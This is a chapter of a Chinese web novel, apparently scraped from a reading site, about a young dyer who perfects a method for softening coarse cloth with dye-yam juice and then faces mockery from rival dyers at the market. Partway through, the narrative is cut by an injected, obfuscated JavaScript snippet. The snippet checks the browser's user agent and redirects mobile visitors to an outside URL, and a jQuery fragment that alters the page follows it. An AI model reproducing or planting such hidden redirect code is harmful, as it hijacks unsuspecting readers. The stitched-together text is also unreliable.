8. 第 8 章

作品:《小破染坊经营手册

    尽管有丰富的薯莨染经验,沈青禾还是在软化粗布这件事上栽了不少跟头。


    她承认她一开始确实是把事情想得太过简单了。


    按照记忆中的法子,沈青禾先是取了草木灰煮汁。考虑到是夏衣要透气,她留出透气孔,减了大半灰量,只煮出一盆淡青色的灰水。


    晾晒至七成干,她将薯莨汁兑水稀释,粗布被浸入,又晾干。这样反复数次后布面上终于呈现出淡红,挂在竹架上迎风飘扬,看起来颇未成功。


    然而,等布完全干透,却并不像她预想的那样柔软顺滑,反而带着一些滞涩的手感,虽比处理之前软些,但远远达不到她的预期。


    更要命的事,经过这番折腾,布面竟然变得有些发闷,捏在手中不似寻常粗棉布那般透气,夏日里穿着这样的布,定然闷汗难耐。这般模样,别说是加价,就算是当做寻常粗布去卖,也没人肯买。


    大半天时间,就做出来这么个东西。


    沈青禾擦去额角沁出的汗,深深吸了一口气,用力闭了闭眼,一丝挫败感萦绕在她心头。


    到底是哪一步出了差错呢?


    她睁开眼,反复用手抚摸着处理后的粗布,心中盘算着刚刚的每一步。


    莫非是薯莨汁兑的稠了?


    沈青禾拉扯着布料。


    确实,被薄胶包裹着的纤维少了往日的蓬松,胶质积在纤维间隙,堵住了透气的孔。


    沈青禾不死心,第二日天方蒙蒙亮,她就从床上爬起来,决定戏取昨日的失败经验。这一次,她定要好好把控者薯莨汁的稠度。


    她与春桃两人守着染缸来回忙活,因为有了加速染缸,所以染色的时间不算太长。经过反复的浸泡晾晒,染出的布倒是透气了不少,纤维间松快得很,可软度全然不够。


    与未经处理过的粗布相比,自然是软了。


    但沈青禾要的不是软一点,而是百姓们只要一上手摸就能感觉到与之前的粗布截然不同的手感,穿上更是要柔腻舒爽。


    可眼下得这匹布,若要贴身穿,还是不够。


    沈青禾皱着眉陷入深思。


    春桃倒是十分惊喜,对着布料摸了又摸,爱不释手,“青禾姐!这粗布真不错,我摸着一点也不糙,跟原来的粗布一点也不一样。不过,我怎么瞧着你一点也不开心啊?”


    “这不是我要的效果。”沈青禾轻叹了一口气。


    春桃吃惊道:“这还不好啊,我感觉这已经很软了,我之前从来都没想到原来粗布还能这样软和。”


    见沈青禾蹙眉不语,春桃也收了收脸上的笑,她知道沈青禾最近起早贪黑,一门心思扑在改良粗布上,可出来的结果却不尽人意,春桃看在眼里但无能为力。


    “别着急,咱们慢慢来,总能成功的。”


    春桃拍拍沈青禾的肩膀,掌下是有些突兀的骨骼感,她有些心疼,“青禾姐,不管怎么说,身体最重要,别等会儿把身体累垮了,那可就得不偿失了。”


    沈青禾点点头,笑着对上春桃忧心忡忡的眸子,应道:“我知道了,我会注意的,你放心吧。”


    第三回试染,沈青禾索性改了法子,省去了淘米水浸润这一步,想着少些附着或许更透气,草木灰水也恢复了平常的用量,只盼着先把软度做出来,这是她改良最主要的目标。


    可染制时还是出了差错。


    没有了淘米水中淀粉中和,粗布纤维吸胶极快,即便薯莨汁偏稀,染后还是积了胶,晾干后布面硬得发脆,捏起来硬邦邦的,用力一扯,直接报废。


    沈青禾看着这匹废掉的布陷入沉默。


    阳光直直照进染坊,染缸里剩下的染液被这么一照,折射出刺眼的光。


    日头越发毒辣了,眼看着就要入夏,她的改良粗布计划却还是一筹莫展,屡战屡败。


    往后的几日,染坊里的竹架子上总是挂着各色不均、手感各异的粗布,浅红的、深红的,软而闷的、硬而脆的,没一块能合她心意。


    沈青禾心里虽急,面上却不显,只是比往日更沉默了许多。


    春桃也日日跟在她身后忙活,烧火、漂布、晾布,额间总是沁着一层薄汗,却无半分怨言。


    可任凭二人如何费心,染出来的布总是顾此失彼,要么顾全了软度却不透气,要么保全了透气度但不软韧……总而言之,就是没能有一匹能够完全符合沈青禾心中理想的布。


    难道真的是她技艺有限?


    还是说在这里改良粗布本身就是一个天方夜谭,是不可能凭借她现有的材料做成的?


    余光瞥见墙角堆积的布料,那些都是她这些时日改良失败的产物,沈青禾的心一点点沉了下去。


    她还记得第一次想出改良粗布打开平民市场的激动,那时的她真的以为这条路行得通,可如今看来,竟难如登天。


    沈青禾停了手,瘫坐在台阶上,看着春桃收拾案台上的薯莨残渣,那些残渣有新鲜捣后余下的根茎,也有前几日剩下的碎块,混在一处堆在竹筐里。


    她漫无目的地看着,忽然,目光一顿。


    沈青禾站起来,从那竹筐里捻起一块干结的薯莨碎渣,又转头看向染缸里余下的浑浊薯莨汁。


    这段时间,她皆是将薯莨整块捣碎便取汁浸染,连带这内里的粗纤维、碎渣都混在汁中,先前只当这些杂志无伤大雅,可她忘记了粗布纤维本就粗疏,不比那些细腻的绫罗绸缎,孔隙易堵,那些细碎纤维混着胶质,造成了堵塞。


    待干透后便黏在一起,要不闷得不透风,要不就是硬得发脆。


    她只顾着草木灰和淘米水以及薯莨汁的配比,完全忽略了这最基础的过滤。


    这最不起眼、最易被轻慢的一步,竟是次次失败的症结所在。


    想通了这一点,沈青禾犹如全身灌入无尽力量般,猛地站起身,方才的颓废和沮丧一扫而空,她上前握住春桃的手,“我知道了,我知道了!”


    春桃一头雾水,“什……什么?”


    沈青禾指着案台上的薯莨碎渣,“我知道哪里错了!”


    等不急明日,沈青禾立马撸起袖子就要开干,她找出之前的滤网,一点一点细心过滤,筛下的汁水澄澈透亮。


    滤好汁,沈青禾依旧按着先前调试好的比例兑水稀释。


    心情明朗,动作也变轻快,她将浸泡好的粗布从染缸中捞出,小心翼翼地晾晒在竹架上。


    二人就这样目光灼灼地守在竹架旁,盯着那匹匀净的粗布


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129587|196201||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    迎风飘扬,视线竟连一刻也不想移开。


    日头渐渐西斜,布面慢慢干透。


    沈青禾深吸一口气,伸手轻轻抚了上去,指尖触到的瞬间,二人皆是一喜。


    不同于往日的粗糙与滞涩,布面绵软却不塌软,顺着纹理轻扯,纤维柔韧有劲,轻盈透气。


    她又将布反复揉搓弯折,布面没有明显褶皱,也不发脆,那层淡淡的赭红色牢牢附着在布面上,摸起来顺滑细腻。


    “成了,成了!春桃,咱们真的成了!”


    沈青禾简直要喜极而泣了,她终于成功改良了粗布,这段时日付出的努力终于得到了回报。


    “这还是粗布吗?怎的这样软和顺滑,颜色也好看,摸上去一点也不糙!”春桃发出惊叹,忍不住将布面举起贴在脸上感受,舒服地眯起眼,“都快赶上丝绸了,青禾姐,你说这是丝绸我也信。”


    沈青禾“噗嗤”一声笑了出来。


    虽是改良了,但粗布终究还是粗布,不可能完全脱离它原本的特性,比起丝绸还是有差距,但对于消费不起昂贵丝绸的平民百姓来讲,这无疑是最好的选择。


    “明日咱们就按着这个法子来,多染一些,过些天市集开市,咱们要多做些准备。”


    接下来几日,染坊里又忙碌了起来,但不同于之前的沉重氛围。


    待到市集开市那日,沈青禾与春桃各挑着两大捆改良后的粗布来到市集。


    云锦镇的市集向来热闹,各色摊子挨挨挤挤,西侧几处摊子排场最大,沈青禾定睛一看,其中就有那家生意最好的天成染坊。


    镇上的染坊多抱团,其他几家小染坊全都巴结着天成染坊,希望能从天成染坊手指缝里掉下几块肉渣。


    沈青禾径直将摊子摆在了那些染坊对面,不顾他们审视的视线,利落地将他们的改良布展开挂好,风一吹,满架赭色舒展,温润明亮,瞬间惹来不少路人的目光。


    “老板,这是粗布吗?”


    一位路过的妇人停下脚步,驻足询问。


    沈青禾笑着点头,“是,是粗布,不过是我改良之后的,您可以摸摸看,与您之前认识的粗布可不一样。”


    就在此时,一道粗粝的嗓音插了进来,“我当是染出了什么布呢,原来就是一粗布,也好意思这样大摇大摆地出来摆摊?小姑娘,我劝你啊,还是找个夫家相夫教子吧,这才最适合你。”


    一位刚刚还在对面的染坊老板不知何时走到她摊前,勾着唇冷笑。


    他早就听说过沈青禾的大名了。


    前段时间她居然能给锦绣阁供货,要知道柳万山的眼光是出了名的刁钻,他们这些小染坊哪有机会给锦绣阁供货。


    锦绣阁一向合作的是天成染坊,可前段时间这个沈青禾接连抢走了好几个天成染坊的订单。


    另一家染坊的伙计也跟着附和,语气轻蔑,“就是,粗布再怎么染也还是块糙布,穿在身上磨人还闷汗,不像我们染坊,染的可都是好料子。”


    听他们这一说,刚刚还颇有兴趣的妇人收回了要触摸的手,也有些迟疑。


    但沈青禾却神色平静,拿起一块浅赭色染布,扬声道:“诸位不妨亲自摸一模,看看我这粗布究竟有何不同?”